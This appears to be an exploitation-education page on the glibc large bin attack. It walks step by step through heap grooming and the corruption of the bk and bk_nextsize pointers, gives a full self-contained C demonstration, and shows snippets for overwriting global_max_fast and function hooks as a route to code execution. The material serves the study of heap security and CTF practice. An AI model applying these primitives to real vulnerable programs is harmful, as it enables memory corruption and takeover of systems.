Skip to main content

Overview

The large bin attack is a powerful heap exploitation technique that leverages the insertion logic of chunks into large bins. Unlike the unsorted bin attack (patched in 2.29), large bin attack still works in modern glibc and allows writing heap addresses to two arbitrary memory locations simultaneously.
This technique is based on research by dangokyo’s 2018 blog post and continues to work in the latest glibc versions.

Glibc Version Compatibility

Working Versions

All versions (2.23 - 2.41+)

Status

Still working in modern glibc!

What Does This Technique Achieve?

Large bin attack allows you to:
  • Write two heap addresses to arbitrary memory locations in a single operation
  • Overwrite global_max_fast - enable fastbin attacks on larger chunks
  • Corrupt function pointers - prepare for code execution
  • Bypass modern protections - still works after unsorted bin attack was patched
Chunks must be in the large bin size range (> 0x400 bytes on x64) for this technique to work.

The Vulnerability

This attack requires:
  1. Heap overflow or UAF - ability to overwrite large bin chunk metadata
  2. Three large chunks - to trigger the specific insertion path
  3. Known target addresses - where you want to write heap pointers

Technical Details

Large Bin Insertion Logic

Large bins are sorted by size, with additional fd_nextsize/bk_nextsize pointers:
else {
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;  // ← WRITE #1
}
bck = fwd->bk;

mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;  // ← WRITE #2
bck->fd = victim;
By controlling victim->bk_nextsize and fwd->bk, we can write to two arbitrary locations!

The Two Write Primitives

  1. First write via bk_nextsize:
    victim->bk_nextsize->fd_nextsize = victim;
    // *(target1 + 0x20) = victim_address
    
  2. Second write via bk:
    fwd->bk = victim;
    // *(target2 + 0x10) = victim_address  
    
The offsets (0x20 and 0x10) are for fd_nextsize and fd positions respectively. On x64: 0x20 = 32 bytes (4 pointers), 0x10 = 16 bytes (2 pointers).

Memory Layout

Large Bin (after first malloc):
+--------------------------------+
| Large bin freelist             |
|   fd -> p2                     |
|   bk -> p2                     |
+--------------------------------+

+--------------------------------+
| Chunk p2 (0x500)               |  ← In large bin
|   size: 0x501                  |
|   fd: main_arena              |
|   bk: main_arena              |
|   fd_nextsize: main_arena     |
|   bk_nextsize: main_arena     |
+--------------------------------+

After corruption:
+--------------------------------+
| Chunk p2 (corrupted)           |
|   size: 0x3f1                  |  ← Decreased size
|   fd: 0                        |
|   bk: &stack_var1 - 2         |  ← Points to target1 - 16
|   fd_nextsize: 0              |
|   bk_nextsize: &stack_var2-4  |  ← Points to target2 - 32
+--------------------------------+

Step-by-Step Exploitation

1

Allocate Three Large Chunks

Create three chunks in large bin size range:
unsigned long *p1 = malloc(0x420);  // Chunk 1
malloc(0x20);                        // Prevent consolidation

unsigned long *p2 = malloc(0x500);  // Chunk 2 (victim)
malloc(0x20);                        // Prevent consolidation

unsigned long *p3 = malloc(0x500);  // Chunk 3
malloc(0x20);                        // Prevent consolidation
2

Free First Two Chunks

Free p1 and p2 to place them in unsorted bin:
free(p1);
free(p2);
// Unsorted bin: [p2] <-> [p1]
3

Move p2 to Large Bin

Allocate a small chunk to trigger sorting:
malloc(0x90);
// This:
// 1. Uses part of p1
// 2. Moves p2 into large bin (size 0x500)
// 3. Reinserts remainder of p1 into unsorted bin
Now p2 is alone in the large bin, establishing the baseline for our attack.
4

Free Third Chunk

Free p3 to place it in unsorted bin:
free(p3);
// Unsorted bin now contains p3 (0x500)
5

Corrupt p2 Metadata

Exploit vulnerability to modify p2’s metadata:
//------------VULNERABILITY-----------
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

// Decrease size so p3 will be inserted at the head
p2[-1] = 0x3f1;
p2[0] = 0;                                    // fd
p2[1] = (unsigned long)(&stack_var1 - 2);    // bk -> target1 - 16
p2[2] = 0;                                    // fd_nextsize
p2[3] = (unsigned long)(&stack_var2 - 4);    // bk_nextsize -> target2 - 32
//------------------------------------
The size corruption is critical: p2’s size (0x3f1) must be smaller than p3’s size (0x501) to trigger the insertion path we want.
6

Trigger Large Bin Insertion

Allocate to move p3 into large bin:
malloc(0x90);
When p3 is sorted into the large bin:
  1. p3 is larger than p2 (0x501 > 0x3f1)
  2. p3 will be inserted at the head
  3. This triggers: p2->bk_nextsize->fd_nextsize = p3
  4. And: p2->bk = p3
  5. Result: Two arbitrary writes!
// Write #1: *(stack_var2 + 0x20) = p3_address
// Write #2: *(stack_var1 + 0x10) = p3_address
7

Verify the Writes

Check that both targets were overwritten:
printf("stack_var1: %p\n", (void*)stack_var1);
printf("stack_var2: %p\n", (void*)stack_var2);
// Both now contain heap addresses!

Full Source Code

/*
    This technique is taken from
    https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
*/

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
int main()
{
    fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
           "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x420);
    fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
           " the first large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x500);
    fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
           " the second large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x500);
    fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
 
    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
           " the third large chunk during the free()\n\n");
    malloc(0x20);
 
    free(p1);
    free(p2);
    fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
           " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
            " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
            ", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
            " [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    free(p3);
    fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
           " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
 
    //------------VULNERABILITY-----------

    fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
            " as well as its \"bk\" and \"bk_nextsize\" pointers\n");
    fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
            " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
            " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    //------------------------------------

    malloc(0x90);
 
    fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
            " During this time, targets should have already been rewritten:\n");

    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    // sanity check
    assert(stack_var1 != 0);
    assert(stack_var2 != 0);

    return 0;
}

Why This Still Works

Unlike the unsorted bin attack, large bin attack remains unpatched because:
  1. Complex insertion logic - Large bins require sorted insertion by size
  2. Necessary functionality - The fd_nextsize/bk_nextsize mechanism is required for performance
  3. Harder to validate - Checking all pointers would significantly impact performance

Common Attack Targets

1. global_max_fast (Most Common)

// After leaking libc
unsigned long *global_max_fast = libc_base + offset;

// Setup corruption
p2[1] = (unsigned long)(global_max_fast - 2);
p2[3] = (unsigned long)(&dummy - 4);

malloc(0x90);
// Now global_max_fast is corrupted!

2. Double Corruption

The unique advantage of large bin attack is two writes:
// Corrupt two function pointers at once!
p2[1] = (unsigned long)(&hook1 - 2);
p2[3] = (unsigned long)(&hook2 - 4);

Advanced Techniques

Controlling Written Value

The written value is the address of the newly inserted chunk (p3). You can:
  1. Groom heap layout - allocate p3 at a predictable address
  2. Use the heap address - if it points to controlled data
  3. Partial overwrites - on systems with ASLR where lower bytes are known

Chaining with Other Techniques

1

Leak libc

Use unsorted bin chunks to leak addresses
2

Large bin attack

Overwrite global_max_fast
3

Fastbin attack

Now possible on larger chunks
4

__malloc_hook

Overwrite for code execution

0CTF 2018

heapstorm2 - Showcases large bin attack in a realistic CTF scenario

Practice

Try it in your browser

Debug this technique interactively on Ret2 Wargames

References

Build docs developers (and LLMs) love